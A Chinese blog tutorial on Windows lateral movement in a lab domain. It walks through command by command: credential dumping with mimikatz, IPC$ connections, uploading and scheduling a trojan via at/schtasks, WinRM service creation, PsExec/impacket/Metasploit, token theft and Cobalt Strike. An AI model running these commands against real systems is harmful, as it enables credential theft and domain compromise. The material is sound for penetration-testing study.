内网横向移动

2023-09-15 20:55:15

内网横向移动

当攻击者在拿下一台内网主机后,通常会利用当前拿下的机器当作跳板,进一步攻击 内网其他主机,扩大攻击影响范围。

攻击机:Kali Linux   

靶机:        Windows server 2008            WEB 10.10.10.20\192.168.XX.XX(跳板机)  

                   Windows server 2012            DC    10.10.10.10\192.168.XX.XX       

获得WEB shell后,获取所有账号密码

load kiwi  #mimikatz

getsystem 提升权限

creds_all  获取所有帐户密码

#将目标主机账号密码复制下来备用

IPC$简介

IPC$ (Internet Process Connection) 是共享"命名管道"的资源,它是为了让进程间 通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的 通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。

利用 IPC$ ,连接者与目标主机利用建立的连接可以得到目标主机上的目录结构、用 户列表等信息。

使用条件

1.开放了 139 、 445 端口;

IPC$ 连接可以实现远程登陆及对默认共享的访问,而 139 端口的开启表示 netbios 协议的应用。

我们可以通过 139 和 445 端口来实现对共享文件/打印机的访问,因此一般来讲, IPC$ 连接是需要 139 或 445 端口来支持的。

IPC$ 连接默认会走 445 端口,不通的话则会走 139 端口,这两个端口都可以单独实 现文件共享

2.目标开启 IPC$ 文件共享服务及默认共享

默认共享是为了方便管理员远程管理而默认开启的共享。

所有逻辑磁盘( c$、d$、e$ ...)和系统目录 WINNT 或 WINDOWS(ADMIN$) ,通过 IPC连接可以实现对这些默认共享的访问

net share

3.需要目标机器的管理员账号和密码

默认情况下只有被添加到远程计算机管理员组的域用户(域管用户)有权限对 admin$ 目录建立 IPC 连接

本地的 Administrator 用户也可以,但是默认情况下该用户是被禁用的,如果启用了该用户,那么也可以使用 Administrator 用户远程连接

常用命令

1. 连接

net use \\10.10.10.10\ipc$ /user:web\administrator "admin@123"     

2. 查看连接情况

net use

3. 查看目标主机时间

net time \\10.10.10.10

4. 删除连接

net use \\10.10.10.10\ipc$ /del

net use * /del /y    #删除所有连接

5. 文件上传下载

copy shell.exe \\10.10.10.10\c$\windows\temp\xxx.exe  

copy \\10.10.10.10\c$\xxx.exe c:\     #从目标机器下载到本地

6. 查看目标主机文件

dir \\10.10.10.10\c$

7. 开放/关闭 ipc$ 共享

net share ipc$

net share ipc$ /del

8. 共享计算机 C 盘

net share C=c:\

9. 映射共享磁盘到本地

net use z: \\10.10.10.10\c$ /user:administrator "xxxxxxxxx"

10. 查看/删除共享的资源

net share

net share C /del

11. 取消IPC远程连接

net use c: /del

net use * /del /y

#建议手打命令

IPC$连接失败常见错误号

错误号 5,拒绝访问    【很可能你使用的用户不是管理员权 限,先提升权限】

错误号 51,Windows 无法找到网络路径     【网络有问题】

错误号 53,找不到网络路径   【ip 地址错误;目标未开机;目标 lanmanserver 服务未启动;目标有防火墙(端口过滤)】

错误号 67,找不到网络名      【你的 lanmanworkstation服务未启动;目标删除了 ipc$;】

错误号 1219,提供的凭据与已存在的凭据集冲突     【你已经和对方建立了一个 ipc$,请删除后再连】

错误号 1326,未知的用户名或错误密码             【用户名或密码错误】

错误号 1385,登录失败:未授予用户在此计算机上的请求登录类型

错误号 1792,试图登录,但是网络登录服务没有启动     【目标NetLogon服务未 启动[连接域控会出现此情况]】

错误号 2242,此用户的密码已经过期        【目标有帐号策略,强 制定期要求更改密码】

IPC+AT+Schtasks

AT简介

AT命令可在指定时间和日期、在指定计算机上运行命令和程序

#Windows2012以下系统可使用at命令

net use \\10.10.10.10\C$ /user:starry\administrator "admin@123"    

copy c:\\dc.exe \\10.10.10.10\c$\windows\temp\6888.exe       #下载木马

查看远程主机时间:net time \\10.10.10.10

AT命令添加任务:at \\10.10.10.10 10:10 c:\6888.exe

AT命令删除任务:at \\10.10.10.10 1 /delete

AT命令查看任务:at \\10.10.10.10   #查看at任务列表,已经执行了的,不会显示

Schtasks简介

由于 AT 在 windows server 2012 等新版系统中已被弃用,所以需要使用 schtasks 命令代替

允许管理员创建、删除、查询、更改、运行和中止本地或远程系统上的计划任务

请参考:Windows使用SCHTASKS 命令执行定时任务_刘李404not found的博客-CSDN博客

创建任务

schtasks /create /tn task /U 域\域用户 /P 域用户密码 /tr 命令 /sc ONSTART /s 域机器ip /RU system

运行任务

schtasks /run /tn task /s 192.168.10.2 /U 域/域用户 /P 域用户密码

删除任务

schtasks /F /delete /tn task /s 域机器ip /U 域\域用户 /p 域用户密 码

schtasks /create        创建新的计划任务。        

               /sc schedule       指定计划类型。有效值为 MINUTE、HOURLY、 DAILY、WEEKLY、MONTHLY、ONCE、ONSTART、ONLOGON、ONIDLE。        

               /mo modifier       指定任务在其计划类型内的运行频率。这个参数 对于 MONTHLY 计划是必需的。                            

对于 MINUTE、HOURLY、DAILY 或 WEEKLY 计划,这个参数有效,但也可选。默认值为 1。         /tr       指定任务运行的程序或命令。如果忽略该路径, SchTasks.exe 将假定文件在 Systemroot\System32 目录下。        

               /tn      指定任务的名称。

建立IPC连接

net use \\10.10.10.10\ipc$ "admin@123" /user:administrator      #连接DC主机

上传木马

dir \\10.10.10.10\c$

copy c:\6888.exe \\10.10.10.10\c$

远程主机创建定时任务

schtasks /create /s 10.10.10.10 /u "dc\administrator" /p "admin@123" /sc MINUTE /mo 1 /tn task /tr "c:\\6888.exe"      #复制命令可能报错!建议手打命令

一分钟后,反弹shell

查看远程主机创建的定时任务

chcp 65001   #不更改代码页编码,直接查看可能会报错

schtasks /query /s 10.10.10.10 /tn task    #查看定时任务 

Schtasks运行远程主机上的计划任务

schtasks /run /s 10.10.10.10 /u administrator /p "admin@123" /tn task

Schtasks删除远程主机上的计划任务

schtasks /delete /tn task /s 10.10.10.10 /u dc\administrator /p admin@123

WinRM

WinRM 指的是Windows远程管理服务,通过远程连接winRM模块可以操作 windows命令行,默认监听端口5985(HTTP)和5986 (HTTPS),在2012及以后默认开启

开启WinRM

判断本机是否开启WinRM服务

winrm enumerate winrm/config/listener

查看远程主机是否开启WinRM服务:

serverscan.exe -h 10.10.10.10 -p 5985,5986

nmap  -A sV 192.168.1.6 -p 5985,5986

命令开启WinRM服务

winrm quickconfig

允许远程主机访问及访问远程主机

WinRM只允许当前域用户或者处于本机TrustedHosts列表中的远程主机进行访问

winrm set winrm/config/client @{TrustedHosts="*"}   #允许所有主机访问

Winrs执行命令

winrs -r:http://10.10.10.10:5985 -u:administrator -p:admin@123 ipconfig     #建议手打命令

winrs -r:http://10.10.10.10:5985 -u:administrator -p:admin@123 "cmd.exe"

WinRM横向移动

利用winrm参数选项中的invoke参数,来对目标对象执行特定的方法。

winrm invoke create wmicimv2/win32_process @{Commandline="calc.exe"}

命令调用了Windows WMI中Win32_process类的Create方法,生成了一个 calc.exe的新进程

在远程机器上打开进程

winrm invoke create wmicimv2/win32_process @{Commandline="calc.exe"} -r:http://10.10.10.10:5985 - u:administrator -p:admin@123

在远程机器上创建服务

winrm invoke Create wmicimv2/Win32_Service @{Name="task";DisplayName="test";PathName="cmd.exe /k c:\6888.exe"} -r:http://10.10.10.10:5985 -u:administrator - p:admin@123

在远程机器上启动服务

winrm invoke StartService wmicimv2/Win32_Service?Name=task -r:http://10.10.10.10:5985 -u:administrator -p:admin@123

MSF启动侦听,反弹shell

横向移动-外部工具

Psexec

PsExec是一种轻巧的telnet替代品,可让您在其他系统上执行进程,并为控制台应用 程序提供完整的交互性,而无需手动安装客户端软件。

Psexec原理

1. ipc$ 连接,释放 Psexesvc.exe

2. 通过服务管理 OpenSCManager 打开受害者机器上服务控制管理器的句柄

3. 通过 CreateService 创建服务

4. 获取服务句柄 OpenService 使用 StartService 启动服务

Psexec使用前提

1. 对方主机开启了 admin$ 共享,如果关闭了 admin$ 共享,会提示:找不到网络名

2. 对方未开启防火墙

3. 如果是工作组环境,则必须使用 administrator 用户连接(因为要在目标主机 上面创建并启动服务),使用其他账号(包括管理员组中的非administrator用户) 登录都会提示访问拒绝访问。

4. 如果是域环境,即可用普通域用户连接也可以用域管理员用户连接。连接普通域 主机可以用普通域用户,连接域控只能用域管理员账户。

PsExec.exe使用

微软官方工具包

PsExec - Sysinternals | Microsoft Learn

IPC连接

net use \\10.10.10.10\ipc$ /user:administrator "admin@123"

建立IPC连接,无需输入密码

反弹cmd:

PsExec64.exe \\10.10.10.10 -s cmd.exe -accepteula 

无法启动服务,执行命令没有回显,但是可以运行木马上线。

在WEB主机上可以运行命令

 Psexec.py

impacket 套件中的 Psexec 与官方 psexec.exe 相比会自动删除服务,增加隐蔽性.

下载地址:

https://github.com/SecureAuthCorp/impacket

psexec.py starry/administrator:admin@123@10.10.10.10

Psexec.exe

目标机器没有python环境,所以把 .py文件打包成 .exe文件 

下载地址:

https://github.com/maaaaz/impacket-examples-windows

psexec.exe starry/administrator:admin@123@10.10.10.10 whoami

Metasploit

Psexec

use exploit/windows/smb/psexec

set RHOSTS 10.10.10.10

set SMBDomain starry

set smbuser administrator

set smbpass admin@123

exploit

Token窃取

Windows有两种类型的Token:

Delegation token(授权令牌):用于交互会话登录(例如本地用户直接登录、远程 桌面登录) Impersonation token(模拟令牌):用于非交互登录(利用net use访问共享文件夹)

两种token只在系统重启后清除

具有Delegation token的用户在注销后,该Token将变成Impersonation token,依旧有效

Metasploit

在Metasploit中,可使用incognito实现token窃取,Metasploit中的 incognito,是从windows平台下的incognito移植过来的

# 加载incognito模块

load incognito

# 列举token

list_tokens -u

# 查看当前token

getuid

# 提示至system权限

getsystem

# token窃取

impersonate_token "NT AUTHORITY\\SYSTEM"

# 从进程窃取token

steal_token 1208

# 返回之前token

rev2self  |   drop_token

Cobaltstrike

跳板机:Windows 7 旗舰版

内网机器:Windows server2008、Windows server 2012

跳板机提升权限

利用ms14-058漏洞

凭证获取

hashdump           #获取hash

logonpasswords  #获取明文密码

扫描存活主机

PortScan扫描存活主机    #没有扫描结果

Net View  网络视图 

结果如下:

Psexec 

由于DC不出网,需要添加正向监听

选择Beacon SMB,点击保存

选择DC右击,选择psexec

Domain:域名

Listener:选择刚才生成的Beacon SMB

session:选择web主机

点击Launch

##前提是知道目标主机密码!!!

上线成功

...

更多推荐

【kafka】kafka命令大全

概述本文将分享一些kafka经常使用的一些命令,不断完善中。管理创建主题,3个分区,2个副本对使用了zookeeper的kafkakafka-topics.sh--create--zookeeper192.168.2.140:2181,192.168.2.141:2181,192.168.2.142:2181--rep

iPhone 15秋季发布会召开,媒介盒子多家媒体持续报道

现如今互联网引流成本越来越高不说,难度越来越大,大多数都是投入巨大,收效甚微。因此,用有限的成本带来高回报的效果成为企业共同的追求。当然,企业想要产品服务引流绝非易事。为什么你的品牌营销不见效?新产品上市要怎么做宣传?盒子以新发布的苹果15为例分析,给你一些启发。1、时机很重要9月13日,苹果秋季发布会如期而至,各大媒

AERMOD模型在大气环境影响评价中的应用

随着我国经济快速发展,我国面临着日益严重的大气污染问题。近年来,严重的大气污染问题已经明显影响国计民生,引起政府、学界和人们越来越多的关注。大气污染是工农业生产、生活、交通、城市化等方面人为活动的综合结果,同时气象因素是控制大气污染的关键自然因素。大气污染问题既是局部、当地的,也是区域的,甚至是全球的。本地的污染物排放

【web开发】8、Django(3)

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档文章目录前言一、管理员1.表结构2.layout.html文件下添加管理员账号的导航3.urls.py文件(POST请求传递nid)4.form.py文件(密码加密,确认密码,重置密码与原密码要求不一致)5.admin.py文件二、中间件(实现登录校验)1

【JAVA】idea初步使用+JDK详细配置

1、官方下载idea官网:DownloadIntelliJIDEA–TheLeadingJavaandKotlinIDE(1)、下载教程我下载没截屏,详细教程请看原文:手把手教你JDK+IDEA的安装和环境配置_idea配置jdk_快到锅里来呀的博客-CSDN博客2、启动项目时候需要配置JDK环境(1)、下载JDK官网

Jmeter安装与测试

目录一:JMeter简介:二:JMeter安装与配置三:JMeter主要原件一:JMeter简介:JMeter,一个100%的纯Java桌面应用,由Apache组织的开放源代码项目,它是功能和性能测试的工具。具有高可扩展性、支持Web(HTTP/HTTPS)、SOAP、FTP、JAVA等多种协议的特点。官方网站:htt

方案:浅析利用AI智能识别与视频监控技术打造智慧水产养殖监管系统

一、方案背景针对目前水产养殖集约、高产、高效、生态、安全的发展需求,基于智能传感、智慧物联网、人工智能、视频监控等技术打造智慧水产系统,成为当前行业的发展趋势。传统的人工观察水产养殖方式较为单一,难以及时发现人员非法入侵、偷盗、偷钓、水质污染等管理问题。二、方案概述TSINGSEE青犀视频智慧水产养殖方案主要是围绕视频

TDengine 与煤矿智能 AI 视频管理系统实现兼容性互认

煤矿行业是一个充满危险和复杂性的领域,具备产业规模大、分布地域广、安全性要求高等特点,为了实现智能化预警、预测等目的,煤矿企业纷纷采用现代化的技术来提高安全性、生产效率和管理水平。煤矿智能AI视频管理系统可以助力企业更好地进行矿工工作环境监测、异常情况报警等工作,从而提高安全性并减少事故风险,在煤矿项目中已经得到了广泛

做接口测试如何上次文件

【软件测试面试突击班】如何逼自己一周刷完软件测试八股文教程,刷完面试就稳了,你也可以当高薪软件测试工程师(自动化测试)在日常工作中,经常有上传文件功能的测试场景,因此,本文介绍两种主流编写上传文件接口测试脚本的方法。首先,要知道文件上传的一般原理:客户端根据文件路径读取文件内容,将文件内容转换成二进制文件流的格式传输给

PASCAL VOC2012数据集详细介绍

PASCALVOC2012数据集详细介绍0、数据集介绍2、PascalVOC数据集目标类别3、数据集下载与目录结构4、目标检测任务5、语义分割任务6、实例分割任务7、类别索引与名称对应关系0、数据集介绍2、PascalVOC数据集目标类别在PascalVOC数据集中主要包含20个目标类别,下图展示了所有类别的名称以及所

关于String、StringBuffer、StringBuilder

1.String可以被继承吗?String类由final修饰,所以不能被继承。扩展阅读在Java中,String类被设计为不可变类,主要表现在它保存字符串的成员变量是final的。Java9之前字符串采用char[]数组来保存字符,即privatefinalchar[]value;Java9做了改进,采用byte[]数

热文推荐